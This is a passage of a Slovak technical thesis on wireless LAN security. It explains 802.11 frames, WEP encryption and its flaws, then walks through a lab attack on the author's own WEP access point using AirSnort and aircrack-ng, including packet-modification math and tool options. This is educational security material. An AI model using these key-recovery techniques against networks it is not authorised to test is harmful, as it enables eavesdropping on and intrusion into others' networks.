Paket ACK je určený ku kladnému potvrdzovaniu prijatých dát a niektorých paketov 
managementu. Paket ACK je relatívne malý, jeho účel je jednoznačný a jednoduchý a preto je 
šetrný k zdrojom bezdrôtovej siete. Určitá slabina v zabezpečení plynie priamo zo skladby 
riadiacich paketov. Niektoré pakety sú navrhnuté tak, že sú citlivé na nezávislú komunikáciu 
na rovnakom komunikačnom kanály. To znamená, že ak prístupový bod AP vyšle paket CTS 
(Clear To Send) a dve rôzne bezdrôtové siete tento paket odchytia, všetky stanice, ktoré paket 
spracujú, prestanú vysielať po dobu uvedenú v pakete CTS.  
 
1.3.2  Dátové pakety (Data Pakets) 802.11 
  
Dátové pakety sú v sieťach 802.11 využívané na prenos dát po zdieľanom 
komunikačnom médiu. Skôr ako bola uvedená technika QoS (Quality of Service) do sietí 
802.11, exitovalo osem rozdielnych podtypov dátových paketov. Takmer všetkých osem 
paketov bolo využívaných v dnes už nepoužívanom móde PCF (Point Coordination Function) 
V sieťach 802.11 bez podpory QoS sú podporované dva podtypy dátových paketov. Podtyp 0 
obsahuje normálne dátové pakety. Podtyp 4 indikuje NULL funkciu, ktorá je vo väčšine 
prípadov využívaná klientskou stanicou. V prípade, že klientska stanica nemá k vysielaniu 
žiadne dáta, využíva NULL funkciu k informovaniu AP, že prechádza do režimu spánku.. Sila 
autentizácie prenášaných paketov je priamo spojená so silou zabezpečenia použitého 
zabezpečovacieho protokolu. V sieťach 802.11 existujú a dodnes sú využívané  tri 
zabezpečovacie protokoly. Sú nimi protokoly WEP, WPA a WPA2 (802.11i).  
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2. Zabezpečenie bezdrôtových sieti 
 
 Cieľom zabezpečenia bezdrôtových sietí je zamerať sa na aktuálnu mieru 
zabezpečenia dát, na ktoré musí užívateľ v dnešnej dobe dbať. Existuje mnoho metód 
a spôsobov ako modifikovať alebo scudziť aktíva, ktoré bezdrôtové zabezpečovacie techniky 
chránia. WLAN sieť obsahuje niekoľko komunikačných zariadení rozložených po celej 
ploche pokrytia prístupových bodov s cieľom poskytnutia pripojenia na internet alebo prenosu 
dát. Užívatelia sa môžu pripojiť a pohybovať z miesta na miesto bez prerušenia pripojenia. To 
umožňuje útočníkovi jednoducho odpočúvať alebo narušiť komunikáciu medzi bezdrôtovými 
stanicami. Preto je nutné dbať na nasledujúce primárne faktory [2] zabezpečenia bezdrôtovej 
siete a zmenšiť tým pravdepodobnosť odcudzenia chránených aktív. 
 
2.1 Riadenie prístupu 
 
 Mnoho bezdrôtových sietí nemá nastavané prístupové kritéria, ktoré musí užívateľ 
pred pripojením do siete splňovať. Preto je pre útočníka jednoduché sa do takejto siete 
bezproblémovo pripojiť. Niektorí užívatelia chcú zdieľať ich firemné alebo osobné dáta 
a preto zdieľajú svoje zdroje s plnými právami čítania či zápisu. Ktokoľvek pripojený k sieti 
môže vidieť či modifikovať zdieľané dáta. Ak sieť obsahuje vírus, ktorý sa voľne prenáša 
sieťou, koncové zariadenie s plnými právami zápisu bez použitia antivírusového programu má 
najväčšiu pravdepodobnosť, že tento vírus bude obsahovať. Útočník pripojený k sieti môže 
uložiť vírus na vhodný zdroj. Vírus aktíva môže rozosielať priamo útočníkovi pripojeného 
k bezdrôtovej sieti, alebo prostredníctvom internetu. 
Útočník môže napadnúť firemnú WLAN bez riadenia prístupu z akéhokoľvek miesta  
v jej dosahu (napr. mimo budovu alebo areál firmy). S využitím bezdrôtovej karty sa môže 
pripojiť na ktorúkoľvek dostupnú firemnú WLAN. K zabráneniu voľného prístupu do siete je 
nutné zamedziť prístup užívateľom nepatriacim bezprostredne do danej siete. To znamená, 
jednoznačne identifikovať jednotlivých užívateľov žiadajúcich o prístup do siete. Každé 
bezdrôtové koncové zariadenie obsahuje bezdrôtové rozhranie (kartu) s identifikátorom 
fyzickej adresy (adresy MAC). Každý prístupový bod však musí obsahovať zoznam s MAC 
adresami užívateľov s právom vstupu do bezdrôtovej siete. Nevýhoda tohto zabezpečenia je, 
že každý nový užívateľ musí byť pridaný do zoznamu manuálne, poprípade zo zoznamu 
vymazaný. Pri zväčšujúcom sa počte užívateľov prístupový zoznam rastie, a tým i nároky na 
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spravovanie a doba trvania autentizácie užívateľa. Preto toto riešenie nie je vhodné pre 
verejné prístupové body, kde sa množstvo užívateľov rýchlo mení. Navyše získanie fyzickej 
adresy WC (Wireless Card) pomocou prídavného programového vybavenia nie je žiaden 
problém. V prípade, ak oprávnený užívateľ nie je k WLAN pripojený, útočník si môže zmeniť 
fyzickú adresu svojej WC a tým sa vydávať za oprávneného užívateľa. Preto zabezpečenie 
riadenia prístupu je len prídavnou bezpečnosťou a sama o sebe neposkytuje dostatočnú 
ochranu. Každá sieť bez zabezpečenia riadenia prístupu sa stáva citlivá na útoky, odcudzenie 
alebo zničenie aktív dôsledkom vírusov.  
 
2.2 Kryptografia 
 
 Kryptografia je obecne proces hľadania alebo skrývania informácií. V dnešnej dobe je 
kryptografia považovaná ako odvetvie matematickej vedy a informatiky za účelom 
zabezpečenia systémov pred nechceným odhalením tajnej informácie. História kryptografie 
siaha dlhú dobu pred Internetom a bezdrôtovou technológiou. Príklad známej historickej 
kryptografie je Ceasar Cipher, ktorá bola využívaná Juliusom Ceasarom na komunikáciu 
s jeho armádnym generálom [4]. Bola založená na jednoduchej substitúcií každého písmena. 
V skutočnosti väčšina šifrovacích metód využívaných dnes sú založené na vývojoch, ktoré 
boli vytvorené pre šifrovanie vládnych informácií počas druhej svetovej vojny. Rozdielny typ 
šifrovania môže riešiť rozdielne problémy zabezpečenia bezdrôtovej siete. To, aký typ 
zabezpečenia použiť závisí na charaktere prenosu. Zabezpečenie bezdrôtovej siete 
predovšetkým závisí na výbere vhodného kryptografického algoritmu a dostatočnej ochrany 
šifrovacích kľúčov. Kryptografia všeobecne pomáha riešiť tri základné problémy 
zabezpečenia a to autentizáciu užívateľa, šifrovanie a integritu prenášaných dát [2]. 
 
2.2.1 Autentizácia 
 
 Autentizácia sa používa na spoľahlivé určenie identity prihlasujúceho sa užívateľa. To 
znamená či užívateľ, ktorý sa chce prihlásiť do siete je naozaj ten, za ktorého sa vydáva. 
Autentifikácia chráni legitímneho užívateľa pred zámenou s útočníkom alebo chráni legitímne 
zariadenia voči falzifikátu.  
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2.2.2 Šifrovanie 
 
 Šifrovanie je proces kódovania dát chránený voči odcudzeniu. Ochrana, ktorú 
šifrovanie poskytuje, sa taktiež nazýva ako dôveryhodná služba, ktorá chráni užívateľské dáta 
prenášané médiom pred ich odhalením. V praxi sa využívajú dva typy kryptovacích 
algoritmov, symetrické a asymetrické. S využitím symetrického šifrovania prijímateľ aj 
odosielateľ zdieľajú rovnaký kľúč, ktorý slúži na šifrovanie i na dešifrovanie správy. Pri 
tomto type šifrovania vzniká problém distribúcie zdieľaného kľúča obom komunikujúcim 
stranám. Distribúcia kľúčov môže byť riešená asymetrickým šifrovaním, kde správa 
zašifrovaná verejným kľúčom môže byť dešifrovaná iba tajným kľúčom. Preto, kľúč pre 
symetrické šifrovanie môže byť zašifrovaný asymetrickým algoritmom (napr. Diffie 
Hellmanovou výmenou kľúčov) a distribuovaný pre obe komunikujúce strany. Zašifrovaný 
symetrický kľúč je takto prenášaný po médiu s vedomím, že šifra nemôže byť bez znalosti 
dešifrovacieho kľúča rozlúštená v reálnom čase. Asymetrický algoritmus je výpočtovo 
náročnejší a nie je používaný na prenos objemových dát.  
 
2.2.3 Integrita 
 
 Integrita garantuje pôvodnosť (originalitu) prenášanej správy. Útočník počas prenosu 
správy môže správu odchytiť, zmodifikovať a preposlať ďalej príjemcovi. Integrita preto 
chráni prenášanú správu pred prípadnou modifikáciou útočníkom pridaním určitého počtu 
bitov (predstavujúcich redundanciu) za koniec správy, ktoré jednoznačne identifikujú 
prenášanú správu. 
 
Bezdrôtové siete sú všeobecne najviac citlivé na odpočúvanie a útoky na komunikáciu 
po bezdrôtovom médiu. Útočník môže monitorovať komunikačný kanál bez fyzického 
pripojenia do siete a tým ukladať prenášané správy (šifrované alebo v otvorenej podobe) na 
fyzické médiu pre neskoršiu analýzu. Prvá technika, zabezpečujúca šifrovanie prenášaných 
správ v sieťach 802.11 (WLAN) bola uvedená pod označením WEP (Wireless Equivalent 
Privacy). Obsahuje niekoľko vážnych kryptografických nedostatkov a sila šifry je v dnešnej 
dobe v reálnom čase prelomiteľná. Niektoré bezdrôtové zariadenia však stále využívajú 
šifrovacích techník WEP, preto v nasledujúcich kapitolách bude znázornené, ako je 
jednoduché toto zabezpečenie prelomiť rádovo v minútach.  
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3. Wireless Equivalent Privacy - WEP 
 
WEP [2] je najstarší šifrovací algoritmus využívaný v bezdrôtových sieťach v pásme 
2,4 GHz. Bol uvedený v roku 1997 s cieľom zabezpečiť dáta s takou dôvernosťou, akou boli 
prenášané dáta po klasických drôtových sieťach. Každý paket prenášanej správy je šifrovaný 
prúdovou šifrou RC4. Podľa dĺžky prenášanej správy (64 alebo 128 bitov) je možné voliť 
šifrovací kľúč o dĺžke 40 alebo 104 bitov. Pre každý paket je zvlášť generovaný inicializačný 
vektor IV (Initialization Vector), ktorý slúži ako vstup spolu so šifrovacím kľúčom K (Key) 
prúdovej šifry RC4 pre výpočet heslovej postupnosti PS (Password Sequence). Inicializačný 
vektor IV má konštantnú dĺžku 24 bitov. Šifrovací kľúč K je vkladaný do koncových zariadení 
WS (Wireless Station) a do prístupového bodu AP manuálne. Pred šifrovaním prenášanej 
správy M (Message) je za správu zaradený kontrolný súčet CRC (Cycling Redundancy 
Check) správy, ktorý však slúži iba ako ochrana pred náhodnými chybami správy pri prenose 
prenosovým médiom. CRC správy o dĺžke 32 bitov je prepočítavaný a kontrolovaný pri 
každom prechode prístupovým bodom AP. Ak dané CRC nesúhlasia, správa je v danom uzle 
zahodená. Ak sa jedná o spoľahlivý prenos (napr. TCP), daný uzol vyšle požiadavku o znovu 
vyslanie poškodenej správy. Keďže kontrolný súčet sa vytvára z celého paketu aj so záhlavím, 
ktoré obsahuje meniace sa údaje pri každom prechode AP, každý takýto uzol musí vypočítať 
nové CRC a zaradí ho za koniec správy. Je nutné poznamenať, že CRC je lineárna funkcia 
a je teda možné pri modifikácií správy pozmeniť CRC správy tak, aby daný uzol alebo 
koncové zariadenie nespoznali, že správa bola modifikovaná. Z tohto dôvodu v neskorších 
zabezpečovacích protokoloch pre WLAN je integrita prenášanej správy zabezpečená 
sofistikovanejším algoritmom ako je napr. MAC (Message Authentication Code) alebo 
HMAC (Keyed-Hashing for Message Authentication). Obe metódy sú jednosmerné 
nelineárne funkcie, kde nespozorovateľná modifikácia správy nie je prakticky možná. Tvorba 
zabezpečeného paketu pomocou protokolu WEP je znázornená na obr. 3.1 [4]. 
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Obr. 3.1: Princíp šifrovania správy protokolom WEP 
 
Paket P o dĺžke 64 alebo 128 bitov obsahujúci prenášanú správu a jej kontrolný súčet 
CRC sú sčítané pomocou funkcie modulo 2 s výstupom prúdovej šifry RC4 PS čoho 
výsledkom je kryptogram C. Pred kryptogram sa predradí 24 bitový inicializačný vektor IV 
a takto IV || C je prenesený bezdrôtovým médiom.  
Príjemca z prijatej postupnosti bitov oddelí prvých 24 bitov, čo predstavuje IV 
prijatého paketu a zvyšné bity predstavujú kryptogram C´. IV a šifrovací kľúč K slúžia ako 
vstup prúdovej šifry RC4 a výstup PS je pomocou modulo 2 s prijatým kryptogramom C´ 
sčítaný, čím sa odvodí pôvodný paket P´ odosielateľa. Z prijatého paketu sa vypočíta 
kontrolný súčet CRC a porovná s 32 bitmi na konci dešifrovaného paketu P´. Ak dané bity 
súhlasia, paket P´ vyhovuje podmienke integrity a je predaný vyšším vrstvám na spracovanie. 
V opačnom prípade je paket zahodený.  
Každé bezdrôtové zariadenie, ktoré sa chce pripojiť do WLAN musí disponovať s 
tajnou informáciou (kľúčom), s ktorou sa môže preukázať, že má prístup do siete. Tento 
proces overovanie znalosti tajnej informácie sa nazýva autentizácia (viz kap. 2.2.1). WEP 
disponuje s dvojím typom autentizácie, a to otvorený systém autentizácie OSA (Open System 
Authentication) a autentizácia pomocou zdieľaného kľúča SK (Shared Key).  
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IV- Inicializačný vektor 
CRC – Kontrolný súčet správy 
K – Šifrovací kľúč 
RC4 – Prúdová šifra RC4  
C – Kryptogram 
PS – Heslová postupnosť 
 
C = P Å PS 
PS = RC4(IV || K) 
Kryptogram 
P = IP || CRC 
P´ = C´ Å PS 
PS 
Kryptogram 
P´ = IP´ || CRC´ 
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V prvom type autentizácie OSA koncové zariadenie nedisponuje so žiadnym tajným 
kľúčom. Každý má prístup do siete bez ohľadu na kľúč, teda v pravom slova zmysle sa 
nejedná o autentizáciu.  
V druhom type autentizácie SK koncové zariadenie WS musí zaslať žiadosť (Request) 
o pripojenie prístupovému bodu AP. V odpovedi (Response) AP zašle krátku správu M 
koncovému zariadeniu WS. WS správu zašifruje pomocou WEP s tajným kľúčom K 
a kryptogram C zašle späť k AP. Po prijatí kryptogramu C´ AP kryptogram C´ dešifruje 
vlastným tajným kľúčom a ak pôvodná správa M a dešifrovaná správa M´ sa zhodujú, WS 
vlastní správny tajný kľúč a má povolený prístup do WLAN. Autentizácia Shared Key má 
však veľkú slabinu, ktorá môže spôsobiť pád celého zabezpečenia WEP. V odpovedi AP 
zasiela WS správu v otvorenej podobe. WS zašifrovanú správu zašle späť AP. Ak útočník 
odchytí obe správy, jednoduchou operáciou modulo 2 získa heslovú postupnosť PS. Z PS 
jednoducho odvodí tajné heslo K, čím definitívne prelomí bezpečnosť WLAN. 
V nasledujúcich kapitolách popíšem prípadné útoky na sieť 802.11 so zabezpečením WEP. 
Inicializačný vektor IV je prenášaný v otvorenej podobe a mení sa s každým 
prenášaným paketom. Keďže jeho dĺžka je 24 bitov, možné kombinácie IV tvoria 16 777 216 
možností. Šifrovací kľúč je vkladaný do koncového zariadenia a do prístupového bodu 
manuálne, takže sa prakticky behom prenosu správy nemení. Jediná premenná pri šifrovaní 
prenášanej správy je teda IV a útočník s kombináciou 224 môže rozlúštiť časť hesla behom 
hodiny. V nasledujúcom texte popíšem ako útočník môže jednoducho prelomiť zabezpečenie 
bezdrôtovej siete pri použití protokolu WEP. 
 
3.1 Prelomenie zabezpečenia protokolu WEP 
 
 Protokol WEP obsahuje iba jednoduchú techniku overenia integrity prenášanej správy 
pomocou kontrolného súčtu CRC. Tá však v princípe slúži iba na overenie náhodných chýb 
vzniknutých pri prenose správy. Vďaka linearite CRC vie útočník pri modifikácií správy 
upraviť CRC tak, aby koncové zariadenie nepoznalo modifikáciu pôvodnej správy. Príklad 
útoku môže byť nasledovný [4].  
Útočník monitoruje komunikáciu zamestnanca firemnej WLAN siete so známym 
webovým alebo poštovým serverom s cieľom získania tajného kľúča K. Keďže zamestnanec 
je aktívny, prenesie dostatočný počet paketov v relatívne krátkom čase a útočník má 
k dispozícií všetky pakety s možnou 224 kombináciou IV. Je nutné poznamenať, že 
inicializačný vektor sa generuje náhodne a nezáleží na poradí paketu. Preto môže nastať, že 
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behom krátkeho času prenosu viacero paketov obsahuje rovnaký IV. Útočník z odchyteného 
paketu (kryptogramu) C môže určiť bitovú pozíciu cieľovej IP adresy (známy Web server) 
a tým odvodiť časť hesla určenú pre šifrovanie IP adresy prijímateľa. 
 
Obr. 3.2: Štruktúra rámca 802.11 
 
Túto časť hesla si odvodí ako PSIP  = CIP Å IPW, kde CIP je získaná časť kryptogramu 
z miesta cieľovej IP adresy a IPW je známa (odhadnutá) IP adresa webového serveru. Teraz 
útočník môže jednoducho zmodifikovať časť cieľovej IP adresy na IP adresu svojho 
koncového zariadenia umiestneného mimo WLAN (napr. niekde v internete) ako  
CIP´ = PSIP Å IPU, kde IPU je IP adresa koncového zariadenia útočníka. Po modifikácií musí 
útočník upraviť kontrolný súčet CRC paketu tak, aby prístupový bod nespozoroval 
modifikáciu paketu. Vďaka linearite CRC to prevedie ako CRC’ = CRC (P) Å CRC(IPW Å 
IPU), kde CRC(P) je kontrolný súčet nemodifikovaného paketu. Takto zmodifikovaný paket 
(kryptogram) C´ útočník odošle prístupovému bodu a ten odošle daný paket P´ ku koncovému 
zariadeniu útočníka (do internetu) v otvorenej podobe. Útočník z prijatého paketu P´ 
a kryptogramu C´ môže odvodiť heslovú postupnosť PS pre daný inicializačný vektor IV ako 
Duration ID FC RA TA DA SC SA Data CRC 
Legenda: 
 IV : (Initial Vector) inicializačný vektor 
 FC : (Frame Control) riadiace pole rámca 
 PV : (Protocol Version) verzia použitého protokolu. 
 Type/SubType : definuje typ rámca (Control, Data, Management) a ich podtypy 
 To DS : (To Distribution System) indikuje smer do DS (napr. WLAN) 
 From DS : (From Distribution System) indikuje smer z DS 
 MF : (More Fragment) indikuje, či viac fragmentov nasleduje za aktuálnym fragmentom rámca 
 Retry : indikuje, či je rámec je opakovane vyslaný 
 Pw. Mng. : (Power Management) indikuje, či je stanica v normálnom režime alebo režime šetrenia energie 
 MD : (More Data) indikuje, či AP má viac dát pre stanice v režime šetrenia energie 
 WEP : indikuje, či je použité šifrovanie na aktuálnom rámci 
 Order : indikuje, či prijaté rámce musia byť zoradené podľa sekvenčného čísla rámca 
 Duration ID : určuje čas, potrebný k prenosu po zdieľanom médiu 
 RA : (Receiver Address) MAC adresa rádiového prijímača   
 TA : (Transmitter Address) MAC adresa rádiového vysielača  
 DA : (Destination address) MAC adresa koncového zariadenia  
 SC : (Sequence Control) číslo rámca a fragmentu 
 SA : (Source Address) MAC adresa zdroja, ktorý pôvodne rámec vytvoril 
 Data : obsahuje dáta alebo informácie z dátových paketov alebo paketov managementu 
 CRC : kontrolný súčet dát a hlavičky rámca 
  
Hlavička podrvstvy MAC 
PV Type SubType From DS To DS MF Retry Pw. Mng. MD WEP Order 
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PS1 = C´ Å P´. Útočník tento postup opakuje pre všetky možnosti IV, čím zabezpečenie 
WLAN protokolom WEP je kompletne prelomené a útočník môže čítať a modifikovať všetky 
správy prenášané v tejto WLAN. Existuje mnoho aplikácií, ktoré dokážu odchytávať 
a ukladať pakety bezdrôtovej siete a prelomiť tým ochranu WLAN v relatívne krátkom čase. 
Reprezentantom takejto aplikácie sú programy AirSnort alebo aircrack-ng, ktoré budú 
v nasledujúcich kapitolách popísané.  
V prvom kroku je nutné vytvoriť a nakonfigurovať vlastnú sieť, na ktorej chceme 
testovať odolnosť voči útočníkovi. Útok je stredne hardwarovo a časovo náročný. Na obr. 3.3 
je znázornená situačná a hardwarová schéma prevádzaného útoku. Prístupový bod AP je 
nastavený na prenos po 6. kanály s prenosovým módom 802.11g. Typ zabezpečenia je 
zvolený WEP s dĺžkou kľúča 128 bitov. Riadenie prístupu (filtrovanie MAC adries) je v tejto 
časti bezvýznamné, pretože útočník plní úlohu monitorovania a teda sa nebude k AP pripájať. 
Útočník disponuje so stredne výkonným hardwarom na ktorom je nainštalovaný operačný 
systém Linux s distribúciou Ubuntu 8.04. Užívateľov hardware nie je v tomto bode podstatný, 
tvorí iba účastníka komunikácie s AP a spravidla nie je známy. 
 
 
Obr. 3.3: Situačná a hardwarová schéma útoku na sieť 802.11g 
 
 Prístupový bod AP je časťou smerovača Vigor 2700 VGST. Jeho konfigurácia je 
realizovaná pomocou webového rozhrania a vyžaduje minimálnu znalosť konfigurácie 
WS_1 
WS_2 
AP 
WS_1 – platný užívateľ siete 
 Bezdrôtová karta: Atheros AR5005G 
  MAC adresa: 00:14:A4:5D:43:BD 
WS_2 – útočník 
 Opreračný systém: Linux (Ubuntu 8.04) 
                      CPU: AMD Athlon(tm) 64 X2 Dual  
  Core Processor 3800+, 2,1GHz 
 Operačná pamäť: 2 048 MB DDRII 667 Mhz 
 Bezdrôtová karta: ASUS WL-138G V2 
         Chipset: Broadcom B43 
  MAC adresa: 00:23:54:54:C8:DC 
AP – prístupový bod 
             Výrobca: DrayTek Group 
                Model: Vigor 2700 VGST 
                   Mód: 802.11g (54Mb/s) 
                 SSID: Mio 
               BSSID: 00:50:7F:DC:29:B0 
                 Kanál: 6 (2,437GHz) 
Legenda: 
 Monitorovacia zóna útočníka WS_2 
 
 Komunikačný kanál účastníka WS_1 
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bezdrôtovej siete. Pre komplexnejšie riešenie je možné smerovač konfigurovať cez 
HyperTerminál pripojený na rozhranie LAN. Obr. 3.4. zobrazuje hlavné nastavenie 
bezdrôtovej siete 802.11g.  
 
 
Obr. 3.4: Hlavné nastavenie prístupového bodu siete 802.11g 
 Prístupový bod smerovača Vigor 2700 VGST podporuje viacero zabezpečovacích 
protokolov bezdrôtovej siete, akými sú WEP, WPA/PSK, WPA2/PSK alebo zmiešaný mód 
(WPA+WPA2)/PSK. Obr. 3.5 zobrazuje bezpečnostné nastavenie bezdrôtovej site 802.11g. 
 
 
Obr. 3.5: Bezpečnostné nastavenie WEP prístupového bodu siete 802.11g 
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Pred samotným začiatkom útoku by som rád zvýraznil, že útok na cudzí prístupový 
bod bez vedomia majiteľa je nelegálny a môže sa tresne postihovať. Narušuje sa tým 
súkromie vlastníka. Preto nasledujúci text má len ukážkový charakter a je aplikovaný so 
zámerom zvýšenia efektívnosti zabezpečenia domácej siete. 
 
3.2 Jednoduchý útok na WLAN pomocou programu AirSnort 
 
 AirSnort [5] je program určený na získanie tajného kľúča K používaného na šifrovanie 
prenášanej správy v sieťach 802.11. Program využíva slabiny kryptografického návrhu WEP. 
Na obr. 3.6 je znázornené grafické rozhranie programu AirSnort a jeho štandardné nastavenie. 
AirSnort je jednoduchý program a nevyžaduje špeciálne nastavenia. Po spustení programu sa 
však musia zvoliť vstupné parametre na základe ktorým program bude pracovať. V prvom 
kroku program musí vedieť, cez ktoré rozhranie má pakety odchytávať a ukladať do databáze. 
Na to slúži pole Network device, kde ak počítač obsahuje viacero rozhraní (napr. ethernet, 
wireless, bluethoot atď.) sa zobrazí ich zoznam. 
 
 
 
Obr. 3.6: Grafické rozhranie AirSnort  
 
Po zvolení bezdrôtového rozhrania (wlan0) program musí vedieť, aký typ karty dané 
rozhranie využíva. V štandardnej ponuke sú k dispozícií Prism2, Orinoco a Others. Cieľom 
tejto konfigurácie je informovať program o tom, ako nastaviť kartu do monitorovacieho 
módu. V monitorovacom móde bezdrôtová karta WS odchytáva všetky pakety bez rozdielu od 
zdroja a bez potreby prístupu do WLAN. Tlačítkom Start sa karta uvedie do monitorovacieho 
módu a začne s odchytávaním paketov. Pre filtrovanie paketov z iných kanálov slúži voľba 
kanálu channel, kde je možné si zvoliť na ktorom kanály sa budú pakety odchytávať. Tým sa 
môže urýchliť výpočet tajného kľúča K pre jednu sieť. 
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Finálne získanie tajného hesla z odchytených približne 30-tisíc paketov je zobrazené 
na obr. 3.7.  
 
 
Obr. 3.7: Dešifrovanie tajného kľúča pomocou AirSnort 
 
Obecne odchytávané pakety prechádzajú dvoma filtrami. Prvý filter filtruje 
nešifrované pakety a druhý filter filtruje neužitočné šifrované pakety (bez IV napr. pakety 
s iným typom šifrovania). AirSnort taktiež filtruje pakety neobsahujúce dáta, s výnimkou 
paketov typu Beacon a Probe Response (sledovanie odozvy). Tieto pakety obsahujú 
informácie o SSID (Service Set Identifier) prístupového bodu. 
 Dešifrovanie odchytených paketov sa prevádza súčasne s ich odchytávaním. Pre oba 
módy WEP dĺžky hesla 64 alebo 128 bitov sa snaží AirSnort dešifrovať heslo po každom 10-
tom odchytení nového IV. AirSnort využíva náhodný útok, takže najlepší odhad nemusí byť 
vždy správny. Dĺžka kódového slova pre 64 bitový kľúč je 5 znakov, čo predstavuje 5 bajtov 
(40 bitov) plus 24 bitov IV. Pre 128 bitový kľúč dĺžka kódového slova je 13 znakov (104 
bitov) plus 24 bitov IV. Hľadanie kľúča K vyžaduje prechod n-lineárnym stromom, kde hĺbka 
stromu pre 64 bitový kľúč je 5 a pre 128 bitový kľúč je 13. Parameter breadth (šírka) určuje 
koľko n najviac pravdepodobných ciest v strome (predstavujúcich tajné heslo) má program 
vyskúšať. Pravdepodobnosť využíva štatistiku odvodenú z IV, ktoré boli doposiaľ 
nazhromaždené. Vysoké číslo parametru breadth môže spôsobiť dlhý čas spracovania pre 
dešifrovanie hesla. Ak bola nazhromaždený väčší počet IV, väčší ako 1500 pre 40 bitové 
heslo alebo väčší ako 3000 pre 104 bitové heslo, hodnota parametru breadth pre zlepšenie 
hľadania správneho hesla môže byť zvýšená. 
 Počet odchytených paketov k správnemu získaniu hesla závisí predovšetkým na dĺžke 
hľadaného hesla. Niektoré heslá sú viac odolné voči technike AirSnort a môžu vyžadovať viac 
odchytených paketov. Ak databáza obsahuje dostatočný počet paketov, ale žiadne hľadané 
heslo, možné riešenie je čakať a odchytávať viac paketov alebo zvýšiť hodnotu parametru 
breadth. 
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 Ak AirSnort rozlúšti správne heslo, overí CRC náhodného paketu. Ak operácia bola 
úspešná, správne heslo sa vypíše v kolónke PWD: Hex a PWD: Ascii. V opačnom prípade 
pokračuje v hľadaní ďalej. Úspešné rozlúštenie hesla je indikované znakom K v kolónke C. 
 Výsledok nám teda ukázal, že tajné heslo bolo bez problémov prelomené a teda vďaka 
programu AirSnort môžeme dešifrovať všetky pakety uložené v jeho databáze. Avšak 
AirSnort je jednoúčelový program, ktorý pasívne odpočúva bezdrôtové médiu a preto 
neposkytuje sofistikovanejšie overovanie zabezpečenia WLAN siete. Pre získanie lepších 
výsledkov je vhodnejšie použiť program aircrack-ng, ktorý na základe aktívnych techník 
môže získať citlivé informácie, vhodné na prelomenie tajného hesla v relatívne kratšom čase.  
 
3.3 Efektívnejší útok na WLAN pomocou programu aircrack-ng 
 
 Aircrack-ng je súbor nástrojov pre overovanie bezpečnosti bezdrôtovej siete 
s použitými protokolmi WEP, WPA-PSK alebo WPA2-PSK. K využitiu prelomenia tajného 
hesla využíva tzv. FMS (Fluhrer, Mantin, Shamir) útok. FSM útok je založený na 
kryptoanalýze prúdovej šifry RC4, ktorá je využívaná ako zdroj heslovej postupnosti 
v protokoloch WEP a WPA. Cieľom útoku je získanie tajného hesla z heslovej postupnosti 
RC4 pri odchytení väčšieho množstva správ. 
Aircrack-ng využíva k prelomeniu WEP tri metódy, z toho prvé dve sú založené na 
slabinách prúdovej šifry RC4: 
· útok FSM (Fluhrer, Mantin, Shamir) 
· útok KoreK 
· útok hrubou silou (Brute Force) 
 
Metódu útoku FMS uviedla trojica kryptoanalytikov Scott Fluhrer, Itsik Mantin, a Adi 
Shamir, ktorí v roku 2001 publikovali podrobnú analýzu prúdovej šifry RC4 [7]. Ďalej sa 
ukázalo, že táto analýza (resp. slabina) RC4 môže byť použitá na prelomenie zabezpečenia 
protokolu WEP a tajné heslo môže byť získané z 4 až 6-tich miliónov odchytených paketov. 
V roku 2004 hacker menom KoreK danú techniku vylepšil a heslo o dĺžke 104 bitov bolo 
možné získať z 0,5 až 2 miliónov paketov. V roku 2005 bola publikovaná ďalšia 
kryptoanalýza RC4, kde Andreas Klein dokázal, že medzi heslovou postupnosťou (výstup 
z RC4) a tajným heslom existuje ešte väčšia korelácia ako dokázala trojica Fluhrer, Mantin 
a Shamir. Program aircrack-ng využíva jeden z možných útokov s názvom rozšírený Kleinov 
útok, s ktorým je možné s pravdepodobnosťou 50% získať správne 104 bitové heslo už pri 
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odchytení 40-tisíc paketov. Pri bežnom prehliadaní internetu je to možné za približne 10 - 15 
minút. So zvyšujúcim počtom odchytených paketov pravdepodobnosť získania správneho 
hesla rastie. Napr. pri odchytení 60-tisíc paketov je pravdepodobnosť získania správneho 
hesla 80% a pri 85-tisíc paketov až 95%. [7]. Pri použití aktívnych techník deauth alebo ARP 
re-injection je možné získať dobrý výsledok behom jednej minúty pri odchytení 40-tisíc 
paketov. 
 Druhá metóda, útok KoreK, spojuje viacero techník dohromady. Neznámy tvorca, pod 
pseudonymom KoRek, publikoval 17 útokov, ktoré sú používané dodnes v   
aircrack-ng. V porovnaní s útokom FMS, kde získanie tajného hesla pri normálnom zaťažení 
siete by trvala približne 40 dní, útok KoRek s rozšírenou simuláciou sieťového prenosu je 
schopný znížiť tento čas na približne 15 minút pri 325-tisíc odchytených paketov.  
Aircrack-ng využíva k útokom kombináciu metód FMS/KoreK. K tomu, aby sme 
jednotlivé útoky uskutočnili, je nutné nainštalovať ovládače a nakonfigurovať sieťové 
zariadenia tak, aby dané útoky podporovalo. V nasledujúcich kapitolách bude znázornený 
postup, ako dané útoky realizovať. 
 
3.3.1 Inštalácia a kompilácia ovládača sieťovej karty do programu aircrack-ng 
 
 Pred samotnou inštaláciou je nutné zistiť typ bezdrôtovej karty (viz. obr. 3.3), či 
bezdrôtová karta WC podporuje monitorovací mód (monitor mode) a či program aircrack-ng 
podporuje ovládače WC. K tomu, či je daná WC podporovaná, slúži skript airdriver-ng 
s nasledujúcimi rozšírenými možnosťami: 
o  supported – zoznam všetkých podporovaných ovládačov 
o  kernel – zoznam všetkých ovládačov včlenených v jadre systému 
o  installed – zoznam všetkých inštalovaných ovládačov 
o  loaded – zoznam všetkých načítaných ovládačov 
·  load <drivernum> - príkaz pre načítanie ovládača  s parametrom <číslo 
ovládača> 
·  unload <drivernum> - zrušenie načítaného ovládača s parametrom <číslo 
ovládača> 
· reload <drivernum> - znovu načítanie ovládača s parametrom <číslo ovládača> 
· install <drivernum> - nainštalovanie ovládača s parametrom <číslo ovládača> 
· remove <drivernum> - odinštalovanie ovládača s parametrom <číslo ovládača> 
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· details  <drivernum> - zobraziť informácie o ovládači s parametrom <číslo 
ovládača> 
· detect – detekovanie bezdrôtových kariet 
 
Samotná inštalácia programu aircrack-ng nie je zložitá. 
 
Avšak pre tieto účely je nutná novšia verzia (rc1 alebo vyššia), ktorá sa nenachádza 
v štandardných repozitároch a preto je nutné  ju stiahnuť manuálne (napr. z webových stránok 
aircrack-ng). 
V nasledujúcich krokoch sú znázornené hore uvedené príkazy. 
1.) Podpora ovládača airdriver-ng 
 
Systémová odozva: 
 
